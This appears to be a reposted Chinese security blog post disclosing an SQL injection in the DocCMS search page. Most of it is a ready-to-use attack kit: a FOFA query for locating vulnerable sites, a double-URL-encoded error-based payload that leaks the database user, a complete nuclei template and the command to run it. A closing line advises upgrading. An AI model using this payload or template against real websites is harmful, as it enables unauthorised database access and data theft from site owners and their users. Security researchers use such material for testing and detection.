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漏洞名称
02
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漏洞影响
DocCMS 创建的网站
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漏洞描述
DocCms[音译:稻壳Cms] ,定位于为企业、站长、开发者、网络公司、VI策划设计公司、SEO推广营销公司、网站初学者等用户 量身打造的一款全新企业建站、内容管理系统,服务于企业品牌信息化建设,也适应用个人、门户网站建设!Doccms存在SQL注入漏洞,攻击者可利用漏洞获取数据库敏感信息。
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app="Doccms"
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漏洞复现
poc如下
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
其中payload为下列语句的二次Url编码
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
使用浏览器访问,会在网站上方出现报错
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nuclei poc
id: doccms-keyword-sqli
info:
name: DocCMS keyword SQL注入漏洞
author: fgz
severity: critical
description: DocCms[音译:稻壳Cms] ,定位于为企业、站长、开发者、网络公司、VI策划设计公司、SEO推广营销公司、网站初学者等用户 量身打造的一款全新企业建站、内容管理系统,服务于企业品牌信息化建设,也适应用个人、门户网站建设!Doccms存在SQL注入漏洞,攻击者可利用漏洞获取数据库敏感信息。
reference:
- none
metadata:
fofa-query: app="Doccms"
veified: true
tags: sqli,DocCMS
http:
- method: GET
path:
- "{{BaseURL}}/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '数据库错误:'
- 'XPATH syntax error:'
condition: and
运行POC
.nuclei.exe -t .doccms-keyword-sqli.yaml -u http://www.xx.cn
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修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):DocCMS keyword SQL注入漏洞(附POC)
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